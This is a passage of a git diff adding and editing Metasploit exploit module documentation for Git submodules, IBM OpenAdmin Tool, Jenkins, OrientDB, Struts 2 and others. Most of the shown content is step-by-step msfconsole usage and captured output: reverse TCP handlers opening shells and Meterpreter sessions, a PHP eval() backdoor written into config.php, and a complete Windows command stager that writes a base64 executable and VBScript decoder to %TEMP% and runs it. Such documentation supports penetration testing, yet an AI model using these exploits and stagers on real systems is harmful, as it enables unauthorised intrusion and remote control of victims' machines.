+  ```sudo apt-get update && sudo apt-get install git```
+
+  You can check the version with ```git --version```.
+  The fix is included in the following version:
+    2.7.6, 2.8.6, 2.9.5, 2.10.4, 2.11.3, 2.12.4, 2.13.5, 2.14.1
+
+## Verification Steps
+
+  Example steps in this format:
+
+  1. Install the application
+  1. Start msfconsole
+  1. Do: ```use exploit/multi/http/git_submodule_command_exec```
+  1. Do: ```set SRVHOST [local host]```
+  1. Do: ```set LHOST [local host]```
+  1. Do: ```exploit```
+  1. Clone the malicious Git URI and its submodules
+  1. You should get a shell
+
+## Options
+
+  **GIT_URI**
+
+  This is the URI the git repository will be hosted from (defaults to random).
+
+  **GIT_SUBMODULE**
+
+  This is the URI of the submodule within the git repository (defaults to random).
+  The url of this submodule, when cloned, will execute the payload.
+
+## Scenarios
+
+  Example usage against a macOS Sierra x64 bit target running git version 2.10.1
+
+```
+msf > use exploit/multi/http/git_submodule_command_exec
+msf exploit(git_submodule_command_exec) > set SRVHOST 192.168.0.1
+SRVHOST => 192.168.0.1
+msf exploit(git_submodule_command_exec) > set LHOST 192.168.0.1
+LHOST => 192.168.0.1
+msf exploit(git_submodule_command_exec) > exploit
+[*] Exploit running as background job.
+
+[*] Started reverse TCP handler on 192.168.0.1:4444
+msf exploit(git_submodule_command_exec) > [*] Using URL: http://192.168.0.1:8080/D29MF1UC
+[*] Server started.
+[*] Malicious Git URI is http://192.168.0.1:8080/ldnwrixuqq.git
+***
+Victim executes: git clone http://192.168.0.1:8080/ldnwrixuqq.git --recurse-submodules
+***
+[*] Command shell session 1 opened (192.168.0.1:4444 -> 192.168.0.1:55151) at 2017-08-29 16:54:56 +0800
+[*] Command shell session 2 opened (192.168.0.1:4444 -> 192.168.0.1:55152) at 2017-08-29 16:54:56 +0800
+```
diff --git a/documentation/modules/exploit/multi/http/glassfish_deployer.md b/documentation/modules/exploit/multi/http/glassfish_deployer.md
index 617f0edfc8..a0a3bf07d2 100644
--- a/documentation/modules/exploit/multi/http/glassfish_deployer.md
+++ b/documentation/modules/exploit/multi/http/glassfish_deployer.md
@@ -34,7 +34,7 @@ If you are on a different platform (such as Windows), the installation should be
 4. Do: ```set PASSWORD [Password]```
 5. Do: ```run```
 
-## Sample Output
+## Scenarios
 
 ```
 msf > use exploit/multi/http/glassfish_deployer
diff --git a/documentation/modules/exploit/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec.md b/documentation/modules/exploit/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec.md
new file mode 100644
index 0000000000..00d3e303c3
--- /dev/null
+++ b/documentation/modules/exploit/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec.md
@@ -0,0 +1,55 @@
+## Description
+
+  This module exploits an unauthenticated remote PHP code execution vulnerability in [IBM OpenAdmin Tool](https://www.ibm.com/support/knowledgecenter/SSGU8G_12.1.0/com.ibm.oat.doc/ids_oat.htm) included with IBM Informix versions 11.5, 11.7, and 12.1.
+
+  The *welcomeServer* SOAP service does not properly validate user input in the *new_home_page* parameter of the *saveHomePage* method allowing arbitrary PHP code to be written to the *config.php* file. The *config.php* file is executed in most pages within the application, and accessible directly via the web root, resulting in code execution.
+
+  **Note: If malformed PHP code is written to the *config.php* file the application fails to process subsequent requests to set *new_home_page*, rendering the application unexploitable.**
+
+  For this reason, the module first writes a PHP `eval()` backdoor to the *config.php* file, then the payload is provided as PHP code in a HTTP POST request for execution.
+
+  By default, a backup of the existing *config.php* is written to *BAKconfig.php*. Replacing the *config.php* file with *BAKconfig.php* will remove the backdoor.
+
+
+## Vulnerable Application
+
+  The IBM&reg; OpenAdmin Tool (OAT) for Informix&reg; is a web application for administering and analyzing the performance of IBM Informix database servers. You can administer multiple database server instances from a single OAT installation on a web server. You can access the web server through any browser to administer all your database servers.
+
+  This module has been tested successfully on IBM OpenAdmin Tool 3.14 on Informix 12.10 Developer Edition (SUSE Linux 11) virtual appliance.
+
+  * [Informix 12.10 Developer Edition SLES 11 virtual appliance demo (Developer Edition 32 bit) VMware Workstation](https://www-01.ibm.com/marketing/iwm/iwm/web/reg/download.do?source=swg-informixfpd&S_PKG=dl&lang=en_US&cp=UTF-8&dlmethod=http)
+
+
+## Verification Steps
+
+  1. Start `msfconsole`
+  2. Do: `exploit/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec`
+  3. Do: `set rhost [IP]`
+  4. Do: `run`
+  5. You should get a session
+
+
+## Scenarios
+
+### IBM OpenAdmin Tool 3.14 on Informix 12.10 Developer Edition (SUSE Linux 11) Virtual Appliance
+
+  ```
+  msf exploit(ibm_openadmin_tool_soap_welcomeserver_exec) > check
+  [*] 172.16.191.208:80 The target service is running, but could not be validated.
+  msf exploit(ibm_openadmin_tool_soap_welcomeserver_exec) > run
+
+  [*] Started reverse TCP handler on 172.16.191.181:4444 
+  [+] 172.16.191.208:80 Wrote backdoor to config.php file successfully
+  [*] Sending stage (33986 bytes) to 172.16.191.208
+  [*] Meterpreter session 1 opened (172.16.191.181:4444 -> 172.16.191.208:39840) at 2017-05-31 08:01:49 -0400
+  [!] 172.16.191.208:80 Replace the 'config.php' file with 'BAKconfig.php' to remove the backdoor
+
+  meterpreter > sysinfo
+  Computer    : informixva
+  OS          : Linux informixva 2.6.27.39-0.3-vmi #1 SMP 2009-11-23 12:57:38 +0100 i686
+  Meterpreter : php/linux
+  meterpreter > getuid 
+  Server username: daemon (2)
+  meterpreter > 
+  ```
+
diff --git a/documentation/modules/exploit/multi/http/jenkins_script_console.md b/documentation/modules/exploit/multi/http/jenkins_script_console.md
index e09118e7d6..f1675b3917 100644
--- a/documentation/modules/exploit/multi/http/jenkins_script_console.md
+++ b/documentation/modules/exploit/multi/http/jenkins_script_console.md
@@ -36,7 +36,13 @@
 
   A password to an account that has access to the script console. This is only
   necessary if the Jenkins instance has been configured to require
-  authentication.
+  authentication and you aren't using an API_TOKEN (see below).
+
+  **API_TOKEN**
+
+  An API token to an account that has access to the script console. This is only
+  necessary if the Jenkins instance has been configured to require
+  authentication and you aren't using a PASSWORD (see above).
 
 ## Scenarios
 
@@ -128,3 +134,42 @@
   meterpreter >
 
   ```
+
+  Example usage against a Linux x64 bit target running Jenkins 2.46.3.
+
+  ```
+  msf > use exploit/multi/http/jenkins_script_console
+  msf exploit(jenkins_script_console) > set RHOST 172.17.0.1
+  RHOST => 172.17.0.1
+  msf exploit(jenkins_script_console) > set RPORT 8080
+  RPORT => 8080
+  msf exploit(jenkins_script_console) > set TARGETURI /
+  TARGETURI => /
+  msf exploit(jenkins_script_console) > set USERNAME admin
+  USERNAME => admin
+  msf exploit(jenkins_script_console) > set API_TOKEN 24e0b80d009ed12590ff85866d88c00d
+  API_TOKEN => 24e0b80d009ed12590ff85866d88c00d
+  msf exploit(jenkins_script_console) > set TARGET 1
+  TARGET => 1
+  msf exploit(jenkins_script_console) > set PAYLOAD linux/x86/shell/reverse_tcp
+  PAYLOAD => linux/x86/shell/reverse_tcp
+  msf exploit(jenkins_script_console) > set LHOST 10.0.2.4
+  LHOST => 10.0.2.4
+  msf exploit(jenkins_script_console) > exploit
+
+  [*] Started reverse TCP handler on 10.0.2.4:4444 
+  [*] Checking access to the script console
+  [*] Authenticating with token...
+  [*] Using CSRF token: 'd41639a6f5721760a8ee3df5d6a71eec' (Jenkins-Crumb style)
+  [*] 172.17.0.1:8080 - Sending Linux stager...
+  [*] Sending stage (36 bytes) to 172.17.0.2
+  [*] Command shell session 1 opened (10.0.2.4:4444 -> 172.17.0.2:53962) at 2017-06-19 16:55:42 -0500
+  [!] Deleting /tmp/AsqL5Pg payload file
+
+  whoami
+  jenkins
+  id
+  uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)
+  uname -a
+  Linux b4b4e715101e 4.4.0-79-generic #100-Ubuntu SMP Wed May 17 19:58:14 UTC 2017 x86_64 GNU/Linux
+  ```
diff --git a/documentation/modules/exploit/multi/http/mediawiki_syntaxhighlight.md b/documentation/modules/exploit/multi/http/mediawiki_syntaxhighlight.md
index 0bcc85970c..700dd3ba31 100644
--- a/documentation/modules/exploit/multi/http/mediawiki_syntaxhighlight.md
+++ b/documentation/modules/exploit/multi/http/mediawiki_syntaxhighlight.md
@@ -1,6 +1,7 @@
 ## Vulnerable Application
 
-  Any MediaWiki installation with SyntaxHighlight version 2.0 installed & enabled. This extension ships with the AIO package of MediaWiki 1.27.x & 1.28.x. A fix for this issue is included in MediaWiki version 1.28.2 and version 1.27.3.
+  Any MediaWiki installation with SyntaxHighlight version 2.0 installed & enabled. This extension ships with the AIO package of MediaWiki 1.27.x & 1.28.x.
+  A fix for this issue is included in MediaWiki version 1.28.2 and version 1.27.3.
 
 ## Vulnerable Setup
 
@@ -47,7 +48,7 @@ To set up the vulnerable environment, please do:
 
   In case the wiki is configured as private, a read-only (or better) account is needed to exploit this issue. Provide the password of that account here.
 
-## Sample Output
+## Scenarios
 
 ### The Check command
 
diff --git a/documentation/modules/exploit/multi/http/orientdb_exec.md b/documentation/modules/exploit/multi/http/orientdb_exec.md
new file mode 100644
index 0000000000..b1d6f84613
--- /dev/null
+++ b/documentation/modules/exploit/multi/http/orientdb_exec.md
@@ -0,0 +1,91 @@
+This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.
+
+All versions from 2.2.2 up to 2.2.22 should be vulnerable.
+
+The module is based on the public PoC found here: [securiteam](https://blogs.securiteam.com/index.php/archives/3318)
+
+## Vulnerable Application
+OrientDB 2.2.2 <= 2.2.22
+
+## Installation
+Download a vulnerable OrientDB version here: [orientdb](http://orientdb.com/download-previous/)
+
+```
+wget http://orientdb.com/download.php?file=orientdb-community-2.2.20.zip&os=multi
+unzip orientdb-community-2.2.20.zip
+chmod 755 bin/*.sh
+chmod -R 777 config
+cd bin
+./server.sh
+```
+
+## References for running OrientDB 
+
+[Install](http://orientdb.com/docs/2.0/orientdb.wiki/Tutorial-Installation.html)
+
+[Run](http://orientdb.com/docs/2.0/orientdb.wiki/Tutorial-Run-the-server.html)
+
+## References for vulnerability
+
+[securiteam](https://blogs.securiteam.com/index.php/archives/3318)
+[palada](http://www.palada.net/index.php/2017/07/13/news-2112/)
+[github](https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017)
+
+## Verification Steps
+
+1. Start `msfconsole`
+2. `use exploit/multi/http/orientdb_exec`
+3. `set rhost <RHOST>`
+4. `set target <TARGET_NUMBER>`
+5. `set workspace <WORKSPACE>`
+6. `check`
+7. **Verify** if the OrientDB instance is vulnerable
+8.  `run`
+9. **Verify** you get a session
+
+## Example Output
+
+### OrientDB 2.2.20 on Windows XP
+
+```
+msf > use exploit/multi/http/orientdb_exec 
+msf exploit(orientdb_exec) > set rhost 2.2.2.2
+rhost => 2.2.2.2
+msf exploit(orientdb_exec) > set target 2
+target => 2
+msf exploit(orientdb_exec) > check
+
+[+] Version: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
+[+] 2.2.2.2:2480 The target is vulnerable.
+msf exploit(orientdb_exec) > set verbose true
+verbose => true
+msf exploit(orientdb_exec) > exploit
+
+[*] Started reverse TCP handler on 1.1.1.1:4444 
+[*] 2.2.2.2:2480 - Sending command stager...
+[*] Attempting to execute: echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACTOPDW11mehddZnoXXWZ6FrEWShdNZnoVURZCF3lmehbhGlIXcWZ6FuEaahdRZnoXXWZ+FHlmehVRRw4XfWZ6Fg3quhf9ZnoUQX5iF1lmehVJpY2jXWZ6FAAAAAAAAAAAAAAAAAAAAAFBFAABMAQQAWNfbSQAAAAAAAAAA4AAPAQsBBgAAsAAAAKAAAAAAAAByMQAAABAAAADAAAAAAEAAABAAAAAQAAAEAAAAAAAAAAQAAAAAAAAAAGABAAAQAAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAbMcAAHgAAAAAUAEAyAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAODBAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAADgAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAABmqQAAABAAAACwAAAAEAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAA5g8AAADAAAAAEAAAAMAAAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAFxwAAAA0AAAAEAAAADQAAAAAAAAAAAAAAAAAABAAADALnJzcmMAAADIBwAAAFABAAAQAAAAEAEAAAAAAAAAAAAAAAAAQAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>>%TEMP%\aAqsZ.b64
+[*] Command Stager progress -   2.01% done (2046/101881 bytes)
+[*] Attempting to execute: echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>>%TEMP%\aAqsZ.b64
+[*] Command Stager progress -   4.02% done (4092/101881 bytes)
+```
+
+...snip...
+
+```
+[*] Attempting to execute: echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATkIxMAAAAAA2gMFKAQAAAEM6XGxvY2FsMFxhc2ZccmVsZWFzZVxidWlsZC0yLjIuMTRcc3VwcG9ydFxSZWxlYXNlXGFiLnBkYgA=>>%TEMP%\aAqsZ.b64 & echo Set fs = CreateObject("Scripting.FileSystemObject") >>%TEMP%\uFLQh.vbs & echo Set file = fs.GetFile("%TEMP%\aAqsZ.b64") >>%TEMP%\uFLQh.vbs & echo If file.Size Then >>%TEMP%\uFLQh.vbs & echo Set fd = fs.OpenTextFile("%TEMP%\aAqsZ.b64", 1) >>%TEMP%\uFLQh.vbs & echo data = fd.ReadAll >>%TEMP%\uFLQh.vbs & echo data = Replace(data, vbCrLf, "") >>%TEMP%\uFLQh.vbs & echo data = base64_decode(data) >>%TEMP%\uFLQh.vbs & echo fd.Close >>%TEMP%\uFLQh.vbs & echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("%TEMP%\tIzcO.exe", 2, True) >>%TEMP%\uFLQh.vbs & echo ofs.Write data >>%TEMP%\uFLQh.vbs & echo ofs.close >>%TEMP%\uFLQh.vbs & echo Set shell = CreateObject("Wscript.Shell") >>%TEMP%\uFLQh.vbs
+[*] Command Stager progress -  98.40% done (100252/101881 bytes)
+[*] Attempting to execute: echo shell.run "%TEMP%\tIzcO.exe", 0, false >>%TEMP%\uFLQh.vbs & echo Else >>%TEMP%\uFLQh.vbs & echo Wscript.Echo "The file is empty." >>%TEMP%\uFLQh.vbs & echo End If >>%TEMP%\uFLQh.vbs & echo Function base64_decode(byVal strIn) >>%TEMP%\uFLQh.vbs & echo Dim w1, w2, w3, w4, n, strOut >>%TEMP%\uFLQh.vbs & echo For n = 1 To Len(strIn) Step 4 >>%TEMP%\uFLQh.vbs & echo w1 = mimedecode(Mid(strIn, n, 1)) >>%TEMP%\uFLQh.vbs & echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>%TEMP%\uFLQh.vbs & echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>%TEMP%\uFLQh.vbs & echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>%TEMP%\uFLQh.vbs & echo If Not w2 Then _ >>%TEMP%\uFLQh.vbs & echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>%TEMP%\uFLQh.vbs & echo If  Not w3 Then _ >>%TEMP%\uFLQh.vbs & echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>%TEMP%\uFLQh.vbs & echo If Not w4 Then _ >>%TEMP%\uFLQh.vbs & echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>%TEMP%\uFLQh.vbs & echo Next >>%TEMP%\uFLQh.vbs & echo base64_decode = strOut >>%TEMP%\uFLQh.vbs & echo End Function >>%TEMP%\uFLQh.vbs & echo Function mimedecode(byVal strIn) >>%TEMP%\uFLQh.vbs & echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>%TEMP%\uFLQh.vbs & echo If Len(strIn) = 0 Then >>%TEMP%\uFLQh.vbs & echo mimedecode = -1 : Exit Function >>%TEMP%\uFLQh.vbs & echo Else >>%TEMP%\uFLQh.vbs & echo mimedecode = InStr(Base64Chars, strIn) - 1 >>%TEMP%\uFLQh.vbs & echo End If >>%TEMP%\uFLQh.vbs & echo End Function >>%TEMP%\uFLQh.vbs & cscript //nologo %TEMP%\uFLQh.vbs & del %TEMP%\uFLQh.vbs & del %TEMP%\aAqsZ.b64
+[*] Command Stager progress - 100.00% done (101881/101881 bytes)
+[*] Sending stage (956991 bytes) to 2.2.2.2
+[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:1422) at 2017-10-06 14:00:14 -0400
+
+meterpreter > sysinfo
+Computer        : WINXP
+OS              : Windows XP (Build 2600, Service Pack 3).
+Architecture    : x86
+System Language : en_US
+Domain          : GROUP
+Logged On Users : 2
+Meterpreter     : x86/windows
+meterpreter > 
+```
diff --git a/documentation/modules/exploit/multi/http/processmaker_exec.md b/documentation/modules/exploit/multi/http/processmaker_exec.md
index b00ed31e4c..8a64f7e49b 100644
--- a/documentation/modules/exploit/multi/http/processmaker_exec.md
+++ b/documentation/modules/exploit/multi/http/processmaker_exec.md
@@ -60,9 +60,25 @@
   2. Do: `use exploit/multi/http/processmaker_exec`
   3. Do: `set username [USER]`
   4. Do: `set password [PASS]`
-  5. Do: `set rhost [IP]`
-  6. Do: `run`
-  7. You should get a session
+  5. Do: `set workspace [WORKSPACE]`
+  6. Do: `set rhost [IP]`
+  7. Do: `run`
+  8. You should get a session
+
+
+## Options
+
+  **Username**
+
+  The username for a ProcessMaker user (default: `admin`).
+
+  **Password**
+
+  The password for the ProcessMaker user (default: `admin`).
+
+  **Workspace**
+
+  The ProcessMaker workspace for which the specified user has access (default: `workflow`).
 
 
 ## Sample Output
diff --git a/documentation/modules/exploit/multi/http/rails_web_console_v2_code_exec.md b/documentation/modules/exploit/multi/http/rails_web_console_v2_code_exec.md
index cac6edc4e2..e9702c0e83 100644
--- a/documentation/modules/exploit/multi/http/rails_web_console_v2_code_exec.md
+++ b/documentation/modules/exploit/multi/http/rails_web_console_v2_code_exec.md
@@ -1,6 +1,7 @@
 ## Description
 
- This module exploits an IP whitelist bypass vulnerability in the developer web console included with Ruby on Rails 4.0.x and 4.1.x. This module will also achieve code execution on Rails 4.2.x if the attack is launched from a whitelisted IP range.
+ This module exploits an IP whitelist bypass vulnerability in the developer web console included with Ruby on Rails 4.0.x and 4.1.x.
+ This module will also achieve code execution on Rails 4.2.x if the attack is launched from a whitelisted IP range.
 
 ## Verification Steps
 
@@ -13,8 +14,6 @@ cd taco
 vim config/environments/development.rb
 ```
 
-
-
 Add the following line just before the final `end` tag:
 
 ```config.web_console.whitelisted_ips = %w(0.0.0.0/0)```
@@ -38,7 +37,7 @@ sudo apt-get install nodejs
 3. Do: ```set RPORT [Port]```
 4. Do: ```run```
 
-## Sample Output
+## Scenarios
 
 ### Rails version 4.2.6
 
diff --git a/documentation/modules/exploit/multi/http/struts2_rest_xstream.md b/documentation/modules/exploit/multi/http/struts2_rest_xstream.md
new file mode 100644
index 0000000000..97f7785086
--- /dev/null
+++ b/documentation/modules/exploit/multi/http/struts2_rest_xstream.md
@@ -0,0 +1,47 @@
+`struts2_rest_xstream` is a module that exploits Apache Struts 2's REST plugin, using the XStream handler to deserialise XML requests perform arbitrary code execution.
+
+## Vulnerable Application
+
+Apache Struts versions 2.1.2 - 2.3.33 and Struts 2.5 - Struts 2.5.12
+
+You can download these versions here with any version of Apache Tomcat:
+
+http://archive.apache.org/dist/struts/
+
+You will also need to install a Struts 2 showcase application, which can be found here:
+
+https://mvnrepository.com/artifact/org.apache.struts/struts2-rest-showcase
+
+## Options
+
+**TARGETURI**
+
+The path to a struts application action
+
+**VHOST**
+
+The HTTP server virtual host. You will probably need to configure this as well, even though it is set as optional.
+
+## Demonstration
+
+**The Check Command**
+
+The `struts2_rest_xstream` module comes with a check command that can effectively check if the remote host is vulnerable or not. To use this, configure the msfconsole similar to the following:
+
+```
+set VERBOSE true
+set RHOST [IP]
+set TARGETURI [path to the Struts app with an action]
+```
+
+When the module is in verbose mode, the `check` command will try to tell you the OS information, and whether or not the machine is vulnerable. Like this:
+
+```
+msf exploit(struts2_rest_xstream) > check
+
+[+] 10.1.11.11:8080 The target appears to be vulnerable.
+```
+
+**Exploiting the Host**
+
+After identifying the vulnerability on the target machine, you can try to exploit it. Be sure to set TARGETURI to the correct URI for your application, and the TARGET variable for the appropriate host OS.
diff --git a/documentation/modules/exploit/multi/misc/msf_rpc_console.md b/documentation/modules/exploit/multi/misc/msf_rpc_console.md
new file mode 100644
index 0000000000..52c2d4f225
--- /dev/null
+++ b/documentation/modules/exploit/multi/misc/msf_rpc_console.md
@@ -0,0 +1,142 @@
+## Description
+
